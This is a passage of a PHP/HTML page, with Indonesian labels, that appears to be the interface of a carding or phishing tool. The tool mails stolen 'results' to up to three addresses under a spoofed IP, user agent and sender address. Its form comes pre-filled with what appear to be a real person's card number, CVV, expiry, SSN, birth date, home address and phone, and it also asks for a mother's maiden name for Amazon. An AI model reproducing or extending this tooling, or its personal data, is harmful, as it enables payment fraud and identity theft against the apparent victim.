                                            <div>
                                                <strong><?php echo htmlspecialchars($detail['email']); ?></strong>
                                                <br>
                                                <small><?php echo $detail['message']; ?></small>
                                            </div>
                                        </div>
                                    <?php endforeach; ?>
                                </div>
                            <?php endif; ?>
                        </div>
                        
                        <div class="preview-section">
                            <h3>📧 Preview Email:</h3>
                            <pre>TO: <?php echo htmlspecialchars($config['target_email']); ?><?php echo !empty($config['target_email2']) || !empty($config['target_email3']) ? " (dan " . ((!empty($config['target_email2']) ? 1 : 0) + (!empty($config['target_email3']) ? 1 : 0)) . " email lain)" : ""; ?>

SUBJECT: <?php echo htmlspecialchars($config['subject']); ?>

EMAIL CONTENT: Data lengkap telah dikirim
TIME: <?php echo $result['time_sent']; ?></pre>
                        </div>
                    <?php else: ?>
                        <div class="alert alert-error">
                            <h3>❌ <?php echo $result['message']; ?></h3>
                            <?php if (isset($result['details'])): ?>
                                <div class="email-list">
                                    <h4>Status Pengiriman:</h4>
                                    <?php foreach ($result['details'] as $detail): ?>
                                        <div class="email-item">
                                            <span class="email-icon <?php echo $detail['status'] === 'error' ? 'error' : ''; ?>">
                                                <?php echo $detail['status'] === 'success' ? '✓' : '✗'; ?>
                                            </span>
                                            <div>
                                                <strong><?php echo htmlspecialchars($detail['email']); ?></strong>
                                                <br>
                                                <small><?php echo $detail['message']; ?></small>
                                            </div>
                                        </div>
                                    <?php endforeach; ?>
                                </div>
                            <?php endif; ?>
                        </div>
                    <?php endif; ?>
                </div>
            <?php endif; ?>
            
            <form action="" method="POST" id="emailForm">
                <input type="hidden" name="email_mode" id="email_mode" value="xfinity">
                
                <div class="form-section">
                    <div class="section-title">EMAIL TUJUAN</div>
                    <div class="form-group">
                        <label for="target_email">Email Tujuan 1:</label>
                        <input type="email" id="target_email" name="target_email" class="persistent-field"
                               value="<?php echo htmlspecialchars(getPersistentFieldValue('target_email', 'MASUKIN EMAIL DLU WOI BABI!')); ?>" required>
                    </div>
                    <div class="email-target-group">
                        <div class="form-group">
                            <label for="target_email2">Email Tujuan 2 (Opsional):</label>
                            <input type="email" id="target_email2" name="target_email2" class="persistent-field"
                                   value="<?php echo htmlspecialchars(getPersistentFieldValue('target_email2', '')); ?>" 
                                   placeholder="Kosongkan jika hanya 1 email">
                        </div>
                        <button type="button" class="copy-btn" onclick="copyEmailToSecond()">Salin ke Email 2 & 3</button>
                    </div>
                    <div class="email-target-group">
                        <div class="form-group">
                            <label for="target_email3">Email Tujuan 3 (Opsional):</label>
                            <input type="email" id="target_email3" name="target_email3" class="persistent-field"
                                   value="<?php echo htmlspecialchars(getPersistentFieldValue('target_email3', '')); ?>" 
                                   placeholder="Kosongkan jika hanya 2 email">
                        </div>
                        <button type="button" class="copy-btn" onclick="copyEmailToThird()">Salin ke Email 3</button>
                    </div>
                    <div class="form-note">
                        * Email akan dikirim TERPISAH ke setiap alamat. Setiap email akan tampil seperti single recipient.
                    </div>
                </div>

                <div class="form-section">
                    <div class="section-title">PENGATURAN</div>
                    <div class="grid-2">
                        <div class="form-group">
                            <label for="custom_ip">IP Address:</label>
                            <input type="text" id="custom_ip" name="custom_ip" 
                                   value="<?php echo htmlspecialchars(getFieldValue('custom_ip', '98.41.127.81')); ?>" required>
                        </div>
                        <div class="form-group">
                            <label for="custom_user_agent">User Agent:</label>
                            <input type="text" id="custom_user_agent" name="custom_user_agent" 
                                   value="<?php echo htmlspecialchars(getFieldValue('custom_user_agent', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36')); ?>">
                        </div>
                    </div>
                    <div class="grid-2">
                        <div class="form-group">
                            <label for="sender_name">Nama Pengirim:</label>
                            <input type="text" id="sender_name" name="sender_name" class="persistent-field"
                                   value="<?php echo htmlspecialchars(getPersistentFieldValue('sender_name', '')); ?>"
                                   placeholder="Akan terisi otomatis dari Cardholder Name">
                            <div class="form-note">Auto-fill dari Cardholder Name</div>
                        </div>
                        <div class="form-group">
                            <label for="sender_email">Email Pengirim:</label>
                            <input type="email" id="sender_email" name="sender_email" class="persistent-field"
                                   value="<?php echo htmlspecialchars(getPersistentFieldValue('sender_email', 'buatsmttpext@toledogifteconomy.com')); ?>">
                        </div>
                    </div>
                </div>

                <div class="form-section">
                    <div class="section-title">AKUN EMAIL</div>
                    <div class="grid-2">
                        <div class="form-group">
                            <label for="email_address">Email Address:</label>
                            <input type="text" id="email_address" name="email_address" 
                                   value="<?php echo htmlspecialchars(getFieldValue('email_address', 'don.ellis1')); ?>">
                            <div class="form-note">Input akan digunakan apa adanya</div>
                        </div>
                        <div class="form-group" id="email_password_container">
                            <label for="email_password">Password (Opsional):</label>
                            <input type="text" id="email_password" name="email_password" 
                                   value="<?php echo htmlspecialchars(getFieldValue('email_password', '')); ?>">
                            <div class="form-note">* Password tidak wajib diisi</div>
                        </div>
                    </div>
                </div>

                <div class="form-section">
                    <div class="section-title">KARTU KREDIT</div>
                    <div class="grid-3">
                        <div class="form-group">
                            <label for="bin">BIN:</label>
                            <input type="text" id="bin" name="bin" 
                                   value="<?php echo htmlspecialchars(getFieldValue('bin', '434256 VISA DEBIT VISA CLASSIC WELLS FARGO BANK')); ?>">
                        </div>
                        <div class="form-group">
                            <label for="cardholder_name">Cardholder Name:</label>
                            <input type="text" id="cardholder_name" name="cardholder_name" 
                                   value="<?php echo htmlspecialchars(getFieldValue('cardholder_name', 'donald ellis')); ?>">
                            <div class="form-note">Auto-fill trigger untuk Sender Name</div>
                        </div>
                        <div class="form-group">
                            <label for="card_number">Card Number:</label>
                            <input type="text" id="card_number" name="card_number" 
                                   value="<?php echo htmlspecialchars(getFieldValue('card_number', '4342562535851719')); ?>">
                        </div>
                    </div>
                    <div class="grid-3">
                        <div class="form-group">
                            <label for="expiration">Expiration (MM/YYYY):</label>
                            <input type="text" id="expiration" name="expiration" 
                                   value="<?php echo htmlspecialchars(getFieldValue('expiration', '09/2029')); ?>">
                        </div>
                        <div class="form-group">
                            <label for="cvv">CVV/CVV2:</label>
                            <input type="text" id="cvv" name="cvv" 
                                   value="<?php echo htmlspecialchars(getFieldValue('cvv', '993')); ?>">
                        </div>
                        <div class="form-group" id="check_card_container">
                            <label for="check_card">Check Card:</label>
                            <input type="text" id="check_card" name="check_card" 
                                   value="<?php echo htmlspecialchars(getFieldValue('check_card', '4342562535851719|09|2029|993')); ?>">
                        </div>
                    </div>
                </div>

                <div class="form-section">
                    <div class="section-title">INFORMASI PERSONAL</div>
                    <div class="grid-3">
                        <div class="form-group">
                            <label for="address">Address:</label>
                            <input type="text" id="address" name="address" 
                                   value="<?php echo htmlspecialchars(getFieldValue('address', '3228 huntsman dr')); ?>">
                        </div>
                        <div class="form-group">
                            <label for="address2">Address 2:</label>
                            <input type="text" id="address2" name="address2" 
                                   value="<?php echo htmlspecialchars(getFieldValue('address2', '')); ?>">
                        </div>
                        <div class="form-group">
                            <label for="city">City:</label>
                            <input type="text" id="city" name="city" 
                                   value="<?php echo htmlspecialchars(getFieldValue('city', 'Sacramento')); ?>">
                        </div>
                    </div>
                    <div class="grid-3">
                        <div class="form-group">
                            <label for="state">State:</label>
                            <input type="text" id="state" name="state" 
                                   value="<?php echo htmlspecialchars(getFieldValue('state', '')); ?>">
                        </div>
                        <div class="form-group">
                            <label for="zip_code">Zip Code:</label>
                            <input type="text" id="zip_code" name="zip_code" 
                                   value="<?php echo htmlspecialchars(getFieldValue('zip_code', '95826')); ?>">
                        </div>
                        <div class="form-group">
                            <label for="phone">Phone:</label>
                            <input type="text" id="phone" name="phone" 
                                   value="<?php echo htmlspecialchars(getFieldValue('phone', '+1 (916) 362-4557')); ?>">
                        </div>
                    </div>
                    <div class="grid-2">
                        <div class="form-group">
                            <label for="ssn">SSN:</label>
                            <input type="text" id="ssn" name="ssn" 
                                   value="<?php echo htmlspecialchars(getFieldValue('ssn', '553-82-9516')); ?>">
                        </div>
                        <div class="form-group">
                            <label for="dob">Date of Birth (MM/DD/YYYY):</label>
                            <input type="text" id="dob" name="dob" 
                                   value="<?php echo htmlspecialchars(getFieldValue('dob', '10/04/1950')); ?>">
                        </div>
                    </div>
                    <div class="form-group hidden" id="mother_name_container">
                        <label for="mother_name">Mother's Name (Khusus Amazon):</label>
                        <input type="text" id="mother_name" name="mother_name" 
                               value="<?php echo htmlspecialchars(getFieldValue('mother_name', '')); ?>"
                               placeholder="Nama ibu kandung">
                    </div>
                </div>

                <div class="form-section">
                    <div class="section-title">INFORMASI DEVICE</div>
                    <div class="grid-3">
                        <div class="form-group">
                            <label for="country">Country:</label>
                            <input type="text" id="country" name="country" 
                                   value="<?php echo htmlspecialchars(getFieldValue('country', 'United States')); ?>">
                        </div>
                        <div class="form-group">
                            <label for="region">Region:</label>
                            <input type="text" id="region" name="region" 
                                   value="<?php echo htmlspecialchars(getFieldValue('region', 'California')); ?>">
                        </div>
                        <div class="form-group">
                            <label for="device_city">City (Device):</label>
                            <input type="text" id="device_city" name="device_city" 
                                   value="<?php echo htmlspecialchars(getFieldValue('device_city', 'Rocklin')); ?>">
                        </div>
                    </div>
                    <div class="grid-2">
                        <div class="form-group">
                            <label for="device">Device (OS):</label>
                            <input type="text" id="device" name="device" 
                                   value="<?php echo htmlspecialchars(getFieldValue('device', 'Windows 10')); ?>">
                        </div>
                        <div class="form-group">
                            <label for="browser">Browser:</label>
                            <input type="text" id="browser" name="browser" 
                                   value="<?php echo htmlspecialchars(getFieldValue('browser', 'Chrome')); ?>">
                        </div>
                    </div>
                    <div class="form-group">
                        <label>Time & Date:</label>
                        <input type="text" value="REAL-TIME - Akan terisi otomatis saat dikirim" disabled 
                               style="background: #e9ecef; color: #6c757d; cursor: not-allowed;">
                        <div class="form-note">Waktu menggunakan real-time saat email dikirim</div>
                    </div>
                </div>

                <!-- Tombol submit tersembunyi untuk form -->
                <button type="submit" id="hiddenSubmit" style="display: none;">Kirim Email</button>
            </form>
        </div>
    </div>

    <!-- POP UP BULAT DI SEBELAH KANAN -->
    <button class="floating-send-button" id="floatingSendButton" onclick="showSendConfirmation()">
        <div class="icon">📧</div>
        <div>KIRIM EMAIL</div>
    </button>

    <!-- MODAL KONFIRMASI -->
    <div class="confirmation-modal" id="confirmationModal">
        <div class="modal-content">
            <div class="modal-icon">📧</div>
            <h2 class="modal-title">Konfirmasi Pengiriman</h2>
            <p class="modal-message">Apakah Anda yakin ingin mengirim email sekarang?<br>
            <small>Email akan dikirim ke alamat yang telah ditentukan.</small></p>
            <div class="modal-actions">
                <button class="modal-btn cancel" onclick="hideSendConfirmation()">Batal</button>
                <button class="modal-btn confirm" onclick="submitForm()">Ya, Kirim Sekarang</button>
            </div>
        </div>
    </div>

    <!-- LOADING SPINNER -->
    <div class="loading-spinner" id="loadingSpinner">
        <div class="spinner"></div>
        <div class="loading-text">Mengirim Email...</div>
    </div>
</body>
</html>